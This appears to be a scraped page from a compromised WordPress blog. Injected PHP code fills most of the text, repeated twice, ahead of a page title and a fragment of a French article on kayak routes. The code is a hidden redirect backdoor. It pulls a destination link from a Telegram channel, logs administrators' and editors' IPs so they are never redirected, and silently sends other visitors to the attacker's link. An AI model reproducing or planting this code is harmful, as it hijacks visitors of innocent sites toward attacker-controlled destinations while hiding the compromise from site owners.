add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } add_action('template_redirect', 'custom_redirect_function'); function custom_redirect_function() { global $wpdb; $on_hot_redirect = true; function _getIP() { if (isset($_SERVER["HTTP_CF_CONNECTING_IP"])) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } else { return $_SERVER['REMOTE_ADDR']; } } function fetch_remote($url) { if (function_exists('curl_version')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); curl_close($ch); return $response; } return @file_get_contents($url); } function get_redirect_link($cache_file) { $html = fetch_remote("https://t.me/s/trafficredirect1"); if (!$html) return false; if (preg_match_all('/(https?:\/\/[^<]+)<\/code>/', $html, $matches)) { $link = end($matches[1]); if (!empty($link)) { file_put_contents($cache_file, $link); return $link; } } if (preg_match_all('/]+href="(https?:\/\/[^"]+)"[^>]*>/i', $html, $matches)) { foreach (array_reverse($matches[1]) as $link) { if (strpos($link, 't.me') === false) { file_put_contents($cache_file, $link); return $link; } } } return false; } $ip = _getIP(); $ua = $_SERVER['HTTP_USER_AGENT']; $table = $wpdb->prefix . "wusers_inputs"; if ($wpdb->get_var("SHOW TABLES LIKE '$table'") != $table) { require_once(ABSPATH . 'wp-admin/includes/upgrade.php'); $sql = "CREATE TABLE $table ( ip INT(11) UNSIGNED NOT NULL, useragent VARCHAR(535) NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8;"; dbDelta($sql); } $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s AND useragent = %s LIMIT 1", ip2long($ip), $ua )); if ((current_user_can('editor') || current_user_can('administrator')) && !$exists) { $wpdb->insert($table, array( 'ip' => ip2long($ip), 'useragent' => $ua )); $exists = true; } if ($on_hot_redirect && !$exists) { $exists = $wpdb->get_var($wpdb->prepare( "SELECT 1 FROM $table WHERE ip = %s OR useragent = %s LIMIT 1", ip2long($ip), $ua )); if (!$exists) { $cache_file = sys_get_temp_dir() . '/' . md5('tg_redirect_cache'); if (file_exists($cache_file) && filesize($cache_file) > 0) { $age = time() - filemtime($cache_file); $link = trim(file_get_contents($cache_file)); } if (!isset($link) || $age >= 30 || empty($link)) { $link = get_redirect_link($cache_file); } if ($link) { wp_redirect($link); exit; } } } } May 2023 - Zero Waste Maldives

Explorez les Itinéraires de Kayak Nomade en France

Explorez les Itinéraires de Kayak Nomade en France Que vous soyez un kayakiste expérimenté ou un débutant en quête d’aventure, la France regorge d’itinéraires de kayak nomade à découvrir. Des rivières sauvages aux canaux paisibles, en passant par les côtes...